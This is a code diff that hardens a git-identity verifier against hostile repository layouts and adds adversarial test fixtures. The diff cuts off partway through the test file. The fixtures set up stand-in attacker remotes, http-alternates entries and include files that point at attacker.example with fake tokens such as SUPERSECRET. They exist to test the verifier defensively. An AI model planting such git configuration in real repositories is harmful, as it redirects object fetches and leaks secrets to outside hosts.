LSTAT(target); + } catch { + return null; + } +} + +function oneLayoutLine(text, path, code) { + if (typeof text !== 'string') { + fail(code, path, `${path} is not a trusted git layout.`); + } + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return value; +} + +function resolveLayoutPath(raw, fromDir, path, code) { + if (typeof raw !== 'string' || raw.length === 0 || raw.includes('\0')) { + fail(code, path, `${path} is not a trusted git layout.`); + } + const resolved = PATH_IS_ABSOLUTE(raw) ? PATH_RESOLVE(raw) : PATH_RESOLVE(fromDir, raw); + if (!PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return resolved; +} + +function isDirectChildPath(parent, child) { + const prefix = parent.endsWith('/') ? parent : `${parent}/`; + if (!child.startsWith(prefix)) return false; + const rest = child.slice(prefix.length); + return rest.length > 0 && !rest.includes('/') && rest !== '.' && rest !== '..'; +} + +async function readBoundedUtf8(target, maxBytes, path, code) { + const metadata = await lstatOrNull(target); + if (metadata === null) return null; + if (isSymlinkStat(metadata) || typeof metadata.isFile !== 'function' || !metadata.isFile()) { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (typeof metadata.size === 'number' && metadata.size > maxBytes) { + fail(code, path, `${path} is not a trusted git layout.`); + } + let text; + try { + text = await READFILE(target, { encoding: 'utf8' }); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (typeof text !== 'string' || BUFFER_BYTE_LENGTH(text) > maxBytes) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return text; +} + +async function realpathOf(target, path, code) { + try { + return await REALPATH(target); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } +} + +async function assertDirectoryNotSymlink(target, path, code) { + let metadata; + try { + metadata = await LSTAT(target); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (isSymlinkStat(metadata) || typeof metadata.isDirectory !== 'function' || !metadata.isDirectory()) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return realpathOf(target, path, code); +} + +async function assertNoExternalObjectProvenance(gitCommonDir, path) { + await assertDirectoryNotSymlink( + PATH_JOIN(gitCommonDir, 'objects'), path, 'config_influence_denied', + ); + const infoDir = PATH_JOIN(gitCommonDir, 'objects', 'info'); + const alternateNames = ['alternates', 'http-alternates']; + for (let index = 0; index < alternateNames.length; index += 1) { + const target = PATH_JOIN(infoDir, alternateNames[index]); + if (await lstatOrNull(target) !== null) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + } + const packDir = PATH_JOIN(gitCommonDir, 'objects', 'pack'); + const packMeta = await lstatOrNull(packDir); + if (packMeta !== null) { + if (isSymlinkStat(packMeta) + || typeof packMeta.isDirectory !== 'function' + || !packMeta.isDirectory()) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + let names; + try { + names = await READDIR(packDir); + } catch { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index]; + if (typeof name === 'string' && name.endsWith('.promisor')) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + } + } + const configText = await readBoundedUtf8( + PATH_JOIN(gitCommonDir, 'config'), MAX_CONFIG_FILE_BYTES, path, 'config_influence_denied', + ); + if (configText !== null && PROVENANCE_CONFIG_PATTERN.test(configText)) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } +} + +function denyExternalObjectProvenance(path) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); +} + +function isProhibitedEffectiveConfigKey(key) { + if (typeof key !== 'string' || key.length === 0) return false; + EFFECTIVE_PROVENANCE_KEY_PATTERN.lastIndex = 0; + return EFFECTIVE_PROVENANCE_KEY_PATTERN.test(key); +} + +function assertNoProhibitedEffectiveConfig(stdout, path) { + if (typeof stdout !== 'string') denyExternalObjectProvenance(path); + if (stdout.length === 0) return; + const fields = stdout.split('\0'); + let limit = fields.length; + if (limit > 0 && fields[limit - 1] === '') limit -= 1; + if (limit % 3 !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + for (let index = 0; index < limit; index += 3) { + const record = fields[index + 2]; + if (typeof record !== 'string' || record.length === 0) continue; + const newline = record.indexOf('\n'); + const key = newline === -1 ? record : record.slice(0, newline); + if (isProhibitedEffectiveConfigKey(key)) denyExternalObjectProvenance(path); + } +} + +async function assertNoEffectiveProvenanceConfig(session, flags, path) { + const result = await gitMaybe( + session, + [...flags, ...EFFECTIVE_CONFIG_LIST_ARGS], + `${path}.config`, + ); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + assertNoProhibitedEffectiveConfig(result.stdout, path); +} + +function parseGitFile(contents, worktreePath, path) { + const line = oneLayoutLine(contents, path, 'repository_invalid'); + if (line.length < 7 || line.slice(0, 7) !== 'gitdir:') { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + return resolveLayoutPath(line.slice(7).trim(), worktreePath, path, 'repository_invalid'); +} + +async function assertLinkedWorktree(repositoryPath, gitFilePath, observedGitDir, path) { + const gitFileText = await readBoundedUtf8( + gitFilePath, MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (gitFileText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const declaredGitDir = parseGitFile(gitFileText, repositoryPath, path); + const declaredReal = await assertDirectoryNotSymlink( + declaredGitDir, path, 'repository_invalid', + ); + const observedReal = await realpathOf(observedGitDir, path, 'repository_invalid'); + if (declaredReal !== observedReal) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const commondirText = await readBoundedUtf8( + PATH_JOIN(declaredGitDir, 'commondir'), MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (commondirText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const commonDir = await assertDirectoryNotSymlink( + resolveLayoutPath( + oneLayoutLine(commondirText, path, 'repository_invalid'), + declaredGitDir, path, 'repository_invalid', + ), + path, + 'repository_invalid', + ); + const worktreesRoot = await assertDirectoryNotSymlink( + PATH_JOIN(commonDir, 'worktrees'), path, 'repository_invalid', + ); + if (!isDirectChildPath(worktreesRoot, declaredReal)) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const backpointerText = await readBoundedUtf8( + PATH_JOIN(declaredGitDir, 'gitdir'), MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (backpointerText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const backpointer = resolveLayoutPath( + oneLayoutLine(backpointerText, path, 'repository_invalid'), + declaredGitDir, path, 'repository_invalid', + ); + const expectedGitFile = PATH_JOIN(repositoryPath, '.git'); + let resolvedBack; + try { + resolvedBack = await REALPATH(backpointer); + } catch { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + let resolvedGitFile; + try { + resolvedGitFile = await REALPATH(expectedGitFile); + } catch { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + if (resolvedBack !== resolvedGitFile && resolvedBack !== repositoryPath) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + await assertNoExternalObjectProvenance(commonDir, path); +} + +async function assertSafeRepositoryLayout(repositoryPath, observedGitDir, path) { + const gitFilePath = PATH_JOIN(repositoryPath, '.git'); + const layoutPath = `${path}.repository.path`; + let metadata; + try { + metadata = await LSTAT(gitFilePath); + } catch { + fail('repository_invalid', layoutPath, + `${layoutPath} is not a git worktree root.`); + } + if (isSymlinkStat(metadata)) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + if (typeof metadata.isDirectory === 'function' && metadata.isDirectory()) { + const resolved = await realpathOf(gitFilePath, layoutPath, 'repository_invalid'); + const observedReal = await realpathOf(observedGitDir, layoutPath, 'repository_invalid'); + if (resolved !== observedReal) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + await assertNoExternalObjectProvenance(gitFilePath, path); + return; + } + if (typeof metadata.isFile !== 'function' || !metadata.isFile()) { + fail('repository_invalid', layoutPath, `${layoutPath} is not a trusted git layout.`); + } + await assertLinkedWorktree(repositoryPath, gitFilePath, observedGitDir, path); +} + function freezeRecord(keys, values) { const snapshot = {}; for (let index = 0; index < keys.length; index += 1) { @@ -274,8 +674,7 @@ function assertBaseRefName(value, path) { function parseRepository(input, path) { const value = optOwn(input, 'repository'); assertPlainObject(value, 'invalid_type', path, path); - assertDirectJsonClosure(value, path); - assertAllowedKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + assertClosedKeySet(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); requiredKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); const repositoryPath = optOwn(value, 'path'); assertRepositoryPath(repositoryPath, `${path}.path`); @@ -299,8 +698,9 @@ function assertSequence(value, path) { export function parseGitIdentityRequestV1(input, path = 'git_identity') { assertPlainObject(input, 'invalid_type', path, `${path}`); + assertClosedKeySet(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); + assertNestedClosedKeys(input, 'repository', GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); assertDirectJsonClosure(input, path); - assertAllowedKeys(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); requiredKeys(input, GIT_IDENTITY_REQUEST_REQUIRED_KEYS, path); const repository = parseRepository(input, `${path}.repository`); const expectedBaseRef = assertBaseRefName( @@ -332,7 +732,7 @@ function parseOptions(options, path = 'options') { } assertNotProxy(options, path); assertPlainObject(options, 'invalid_type', path, path); - assertAllowedKeys(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); + assertClosedKeySet(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); let spawn = SPAWN; if (hasOwn(options, 'spawn')) { spawn = optOwn(options, 'spawn'); @@ -345,105 +745,156 @@ function parseOptions(options, path = 'options') { } function createSession(spawnFn) { + const startedAt = Date.now(); return { spawn: spawnFn, commands: 0, - startedAt: Date.now(), + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, }; } +function assertDeadline(session, path) { + if (Date.now() >= session.deadlineAt) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + function assertSessionBounds(session, path) { if (session.commands >= MAX_GIT_COMMANDS) { fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); } - const elapsed = Date.now() - session.startedAt; - if (elapsed > MAX_GIT_TOTAL_TIME_MS) { - fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); - } + assertDeadline(session, path); +} + +function listenStream(stream, event, handler, path) { + if (stream === undefined || stream === null) return; + invokeHandle(stream, 'on', [event, handler], path); } function runGit(session, args, path) { assertGitArgv(args, `${path}.args`); assertSessionBounds(session, path); + const budget = remainingMs(session); + if (budget <= 0) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } session.commands += 1; const argv = [GIT_EXECUTABLE, ...GIT_ISOLATION_FLAGS, ...args]; assertGitArgv(argv, `${path}.argv`); + const spawnOptions = { + cwd: '/', + env: CLOSED_GIT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertClosedEnv(spawnOptions.env, `${path}.env`); return new Promise((resolve, reject) => { let child; try { - child = session.spawn(GIT_EXECUTABLE, argv.slice(1), { - cwd: '/', - env: CLOSED_GIT_ENV, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - }); + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), spawnOptions); } catch (error) { - reject(new RunContractV1Error( + reject(contractError( 'git_execution_failed', path, `${path} could not start a git observation.`, )); return; } - if (child === null || typeof child !== 'object') { - reject(new RunContractV1Error( - 'git_execution_failed', path, `${path} could not start a git observation.`, - )); + try { + assertOwnedHandle(child, path); + } catch (error) { + reject(asContractError(error, path)); return; } - assertClosedEnv(CLOSED_GIT_ENV, `${path}.env`); const stdoutChunks = []; const stderrChunks = []; let stdoutBytes = 0; let stderrBytes = 0; let exceeded = false; let settled = false; + let timer; const finish = (error, result) => { if (settled) return; settled = true; clearTimeout(timer); - if (error) reject(error); + if (error) reject(asContractError(error, path)); else resolve(result); }; const exceed = () => { if (exceeded) return; exceeded = true; - try { child.kill('SIGKILL'); } catch { /* already exited */ } - finish(new RunContractV1Error( + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(contractError( 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, )); }; - const timer = setTimeout(exceed, MAX_GIT_TIME_MS); + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); const onChunk = (target, getSize, setSize) => (chunk) => { - const next = getSize() + chunk.length; - setSize(next); - if (next > MAX_GIT_OUTPUT_BYTES) { - exceed(); - return; + try { + const owned = ownedChunk(chunk, path); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(asContractError(error, path)); } - REFLECT_APPLY(ARRAY_PUSH, target, [chunk]); }; - child.stdout?.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); - child.stderr?.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); - child.once('error', () => { - finish(new RunContractV1Error( - 'git_execution_failed', path, `${path} could not complete a git observation.`, - )); - }); - child.once('close', (code, signal) => { - if (exceeded) return; - const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); - const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); - if (signal !== null && signal !== undefined) { - finish(new RunContractV1Error( + try { + listenStream( + readHandleField(child, 'stdout', path), + 'data', + onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; }), + path, + ); + listenStream( + readHandleField(child, 'stderr', path), + 'data', + onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; }), + path, + ); + invokeHandle(child, 'once', ['error', () => { + finish(contractError( 'git_execution_failed', path, `${path} could not complete a git observation.`, )); - return; - } - finish(null, { - exit_code: typeof code === 'number' ? code : 1, - stdout, - stderr, - }); - }); + }], path); + invokeHandle(child, 'once', ['close', (code, signal) => { + if (exceeded) return; + try { + if (Date.now() >= session.deadlineAt) { + finish(contractError( + 'bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`, + )); + return; + } + const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); + const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); + if (signal !== null && signal !== undefined) { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout, + stderr, + }); + } catch (error) { + finish(asContractError(error, path)); + } + }], path); + } catch (error) { + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(asContractError(error, path)); + } }); } @@ -640,25 +1091,16 @@ async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, fail('symbolic_ref_drift', `${path}.expected_base_ref`, `${path}.expected_base_ref must be a direct branch ref, not a symbolic ref.`); } - const peeled = await gitMaybe( + const direct = await gitMaybe( session, - [...flags, 'rev-parse', '--verify', '--end-of-options', `${expectedBaseRef}^{commit}`], + [...flags, 'rev-parse', '--verify', '--end-of-options', expectedBaseRef], `${path}.expected_base_ref`, ); - if (peeled.exit_code !== 0) { - const unborn = await gitMaybe( - session, - [...flags, 'show-ref', '--verify', '--', expectedBaseRef], - `${path}.expected_base_ref`, - ); - if (unborn.exit_code !== 0) { - fail('unborn_ref_denied', `${path}.expected_base_ref`, - `${path}.expected_base_ref does not name an existing commit.`); - } - fail('non_commit_object', `${path}.expected_base_ref`, - `${path}.expected_base_ref does not peel to a commit.`); + if (direct.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); } - const observedBaseSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + const observedBaseSha = parseObservedSha(direct.stdout, `${path}.expected_base_ref`); const objectType = await gitLine( session, [...flags, 'cat-file', '-t', '--', observedBaseSha], @@ -669,6 +1111,20 @@ async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, fail('non_commit_object', `${path}.expected_base_ref`, `${path}.expected_base_ref is not a commit object.`); } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${expectedBaseRef}^{commit}`], + `${path}.expected_base_ref`, + ); + if (peeled.exit_code !== 0) { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not peel to a commit.`); + } + const peeledSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + if (peeledSha !== observedBaseSha) { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref is not a commit object.`); + } if (expectedBaseSha !== observedBaseSha) { const expectedType = await gitMaybe( session, @@ -775,7 +1231,8 @@ async function observeAncestry(session, flags, expectedBaseSha, observedBaseSha, }; } -function durationOf(session) { +function durationOf(session, path) { + assertDeadline(session, path); return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); } @@ -824,7 +1281,9 @@ export async function verifyGitIdentityV1(input, options) { const session = createSession(parsedOptions.spawn); const repositoryPath = request.repository.path; const gitDir = await assertLocalRepository(session, repositoryPath, pathLabel); + await assertSafeRepositoryLayout(repositoryPath, gitDir, pathLabel); const flags = repoFlags(repositoryPath, gitDir); + await assertNoEffectiveProvenanceConfig(session, flags, pathLabel); await assertNoReplaceOrGrafts(session, flags, pathLabel); const worktreeHeadRef = await observeWorktreeHeadRef(session, flags, pathLabel); const base = await observeBaseRef( @@ -836,7 +1295,7 @@ export async function verifyGitIdentityV1(input, options) { const ancestry = await observeAncestry( session, flags, request.repository.base_sha, base.sha, head.sha, pathLabel, ); - const durationMs = durationOf(session); + const durationMs = durationOf(session, pathLabel); const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { repository_path: repositoryPath, git_dir: gitDir, @@ -861,13 +1320,16 @@ export async function verifyGitIdentityV1(input, options) { } const discrepancies = []; const pushDiscrepancy = (id, factIds) => { - if (request.sequence + discrepancies.length > MAX_SEQUENCE) { - fail('out_of_range', `${pathLabel}.discrepancies`, - `${pathLabel}.discrepancies exceed the injected sequence bound.`); + const sequence = request.sequence + discrepancies.length; + if (sequence > MAX_SEQUENCE) return; + try { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, request, factIds, sequence), + ]); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'out_of_range') return; + throw error; } - REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ - emitDiscrepancy(id, request, factIds, request.sequence + discrepancies.length), - ]); }; if (ancestry.stale_base) pushDiscrepancy('stale-base', ['git-identity']); if (ancestry.rewritten_base) pushDiscrepancy('rewritten-history', ['git-identity', 'head-sha']); @@ -891,7 +1353,7 @@ export async function verifyGitIdentityV1(input, options) { durationMs, ), ]); - return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + const result = freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { schema: GIT_IDENTITY_SCHEMA_ID, version: GIT_IDENTITY_VERSION, status, @@ -899,6 +1361,11 @@ export async function verifyGitIdentityV1(input, options) { discrepancies: capturedFreeze(discrepancies), observation, }); + if (status === 'verified') { + await assertNoEffectiveProvenanceConfig(session, flags, pathLabel); + } + assertDeadline(session, pathLabel); + return result; } OBJECT_FREEZE(GIT_IDENTITY_ERROR_CODES); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs index 1a9e9b7..bf88b88 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs @@ -4,7 +4,7 @@ // verifier module exists. import { spawn } from 'node:child_process'; -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { mkdir, mkdtemp, rename, rm, symlink, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; @@ -267,3 +267,203 @@ export async function createNonGitDirectory() { extra: {}, }); } + +export async function createLinkedWorktreeRepo() { + const main = await createLinearRepo(); + const linkedParent = await mkdtemp(path.join(tmpdir(), 'p14-linked-')); + const linkedRoot = path.join(linkedParent, 'wt'); + await runFixtureGit(main.path, ['worktree', 'add', '-b', 'linked-head', linkedRoot, main.headSha]); + return { + path: linkedRoot, + baseSha: main.baseSha, + headSha: main.headSha, + extra: { mainPath: main.path }, + cleanup: async () => { + try { + await runFixtureGit(main.path, ['worktree', 'remove', '--force', linkedRoot]); + } catch { + await cleanupRepo(linkedRoot); + } + await cleanupRepo(linkedParent); + await main.cleanup(); + }, + }; +} + +export async function createExternalGitdirRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-extgit-')); + const externalGit = path.join(externalRoot, 'hostile.git'); + await rename(path.join(repo.path, '.git'), externalGit); + await writeFile(path.join(repo.path, '.git'), `gitdir: ${externalGit}\n`, 'utf8'); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, externalGit }; + repo.cleanup = async () => { + await originalCleanup(); + await cleanupRepo(externalRoot); + }; + return repo; +} + +export async function createSymlinkGitdirRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-symgit-')); + const externalGit = path.join(externalRoot, 'hostile.git'); + await rename(path.join(repo.path, '.git'), externalGit); + await symlink(externalGit, path.join(repo.path, '.git')); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, externalGit }; + repo.cleanup = async () => { + await originalCleanup(); + await cleanupRepo(externalRoot); + }; + return repo; +} + +export async function createAlternatesRepo() { + const donor = await createLinearRepo(); + const repo = await createLinearRepo(); + const infoDir = path.join(repo.path, '.git', 'objects', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile( + path.join(infoDir, 'alternates'), + `${path.join(donor.path, '.git', 'objects')}\n`, + 'utf8', + ); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, donorPath: donor.path, donorHeadSha: donor.headSha }; + repo.cleanup = async () => { + await originalCleanup(); + await donor.cleanup(); + }; + return repo; +} + +export async function createHttpAlternatesRepo() { + const repo = await createLinearRepo(); + const infoDir = path.join(repo.path, '.git', 'objects', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile( + path.join(infoDir, 'http-alternates'), + 'https://attacker.example/objects?token=SUPERSECRET\n', + 'utf8', + ); + return repo; +} + +export async function createPromisorPackRepo() { + const repo = await createLinearRepo(); + const packDir = path.join(repo.path, '.git', 'objects', 'pack'); + await mkdir(packDir, { recursive: true }); + await writeFile(path.join(packDir, 'pack-deadbeef.promisor'), '', 'utf8'); + return repo; +} + +export async function createPartialCloneConfigRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['config', 'extensions.partialClone', 'origin']); + await runFixtureGit(repo.path, ['config', 'remote.origin.promisor', 'true']); + await runFixtureGit(repo.path, ['config', 'remote.origin.partialclonefilter', 'blob:none']); + await runFixtureGit(repo.path, ['config', 'remote.origin.url', 'https://attacker.example/steal.git']); + return repo; +} + +const HOSTILE_INCLUDE_BYTES = `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`; + +function attachCleanup(repo, extraRoots) { + const originalCleanup = repo.cleanup; + repo.cleanup = async () => { + await originalCleanup(); + for (const root of extraRoots) await cleanupRepo(root); + }; + return repo; +} + +async function writeHostileIncludeFile(prefix) { + const externalRoot = await mkdtemp(path.join(tmpdir(), prefix)); + const includeFile = path.join(externalRoot, 'hostile.cfg'); + await writeFile(includeFile, HOSTILE_INCLUDE_BYTES, 'utf8'); + return { externalRoot, includeFile }; +} + +export async function createAbsoluteExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-absinc-'); + await runFixtureGit(repo.path, ['config', 'include.path', includeFile]); + repo.extra = { ...repo.extra, includeFile, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createRelativeExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-relinc-'); + const relative = path.relative(path.join(repo.path, '.git'), includeFile); + await runFixtureGit(repo.path, ['config', 'include.path', relative]); + repo.extra = { ...repo.extra, includeFile, relative, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createActiveIncludeIfRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-incif-'); + await runFixtureGit(repo.path, ['config', 'includeIf.onbranch:main.path', includeFile]); + repo.extra = { ...repo.extra, includeFile, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createSymlinkExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-syminc-'); + const linkPath = path.join(repo.path, '.git', 'included.cfg'); + await symlink(includeFile, linkPath); + await runFixtureGit(repo.path, ['config', 'include.path', 'included.cfg']); + repo.extra = { ...repo.extra, includeFile, linkPath, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createBenignIncludeRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-benigninc-')); + const includeFile = path.join(externalRoot, 'benign.cfg'); + await writeFile(includeFile, '[user]\n\tname = p14-benign\n', 'utf8'); + await runFixtureGit(repo.path, ['config', 'include.path', includeFile]); + repo.extra = { ...repo.extra, includeFile }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createLinkedWorktreePromisorConfigRepo() { + const linked = await createLinkedWorktreeRepo(); + await runFixtureGit(linked.extra.mainPath, ['config', 'extensions.worktreeConfig', 'true']); + await runFixtureGit(linked.path, ['config', '--worktree', 'remote.origin.promisor', 'true']); + await runFixtureGit(linked.path, [ + 'config', '--worktree', 'remote.origin.partialclonefilter', 'blob:none', + ]); + await runFixtureGit(linked.path, [ + 'config', '--worktree', 'remote.origin.url', + 'https://attacker.example/worktree.git?token=WTSECRET', + ]); + linked.extra = { ...linked.extra, token: 'WTSECRET' }; + return linked; +} + +export async function createLinkedWorktreeBenignConfigRepo() { + const linked = await createLinkedWorktreeRepo(); + await runFixtureGit(linked.extra.mainPath, ['config', 'extensions.worktreeConfig', 'true']); + await runFixtureGit(linked.path, ['config', '--worktree', 'user.name', 'p14-linked-benign']); + return linked; +} + +export async function createAnnotatedTagBranchRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['tag', '-a', 'forged-base', '-m', 'forged annotated base', repo.baseSha]); + const tagSha = await runFixtureGit(repo.path, ['rev-parse', 'forged-base']); + await writeFile(path.join(repo.path, '.git', 'refs', 'heads', 'main'), `${tagSha}\n`, 'utf8'); + repo.extra = { ...repo.extra, tagSha }; + return repo; +} diff --git a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs index ff06122..a374930 100644 --- a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs @@ -1,25 +1,48 @@ import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { appendFileSync, writeFileSync } from 'node:fs'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; import test from 'node:test'; import { + MAX_SEQUENCE, parseEvidenceDiscrepancyV1, parseVerifiedFactV1, } from '../mcp/v3/evidence-bundle.mjs'; import { + GIT_CLOSED_ENV, + MAX_GIT_TOTAL_TIME_MS, parseGitIdentityRequestV1, verifyGitIdentityV1, } from '../mcp/v3/git-identity.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { countingProxy, + createAbsoluteExternalIncludeRepo, + createActiveIncludeIfRepo, + createAlternatesRepo, + createAnnotatedTagBranchRepo, + createBenignIncludeRepo, createDetachedHeadRepo, + createExternalGitdirRepo, createGraftsRepo, + createHttpAlternatesRepo, + createLinearRepo, + createLinkedWorktreeBenignConfigRepo, + createLinkedWorktreePromisorConfigRepo, createNonCommitHeadRepo, + createPartialCloneConfigRepo, + createPromisorPackRepo, + createRelativeExternalIncludeRepo, createReplaceRefRepo, createRewrittenHistoryRepo, createStaleBaseRepo, createSymbolicRefDriftRepo, + createSymlinkExternalIncludeRepo, + createSymlinkGitdirRepo, createUnbornRepo, createUnreachableHeadRepo, createWrongMergeBaseRepo, @@ -44,6 +67,39 @@ function discrepancyIds(result) { return result.discrepancies.map((entry) => entry.discrepancy_id); } +function assertContentFree(error, ...needles) { + const blob = `${error.code}\n${error.path}\n${error.message}`; + for (const needle of needles) { + assert.equal(blob.includes(needle), false, needle); + } +} + +function isEffectiveConfigList(args) { + return Array.isArray(args) + && args.includes('config') + && args.includes('--includes') + && args.includes('--show-origin') + && args.includes('--show-scope') + && args.includes('-z'); +} + +function assertClosedProtocolEnv(env) { + assert.equal(env, GIT_CLOSED_ENV); 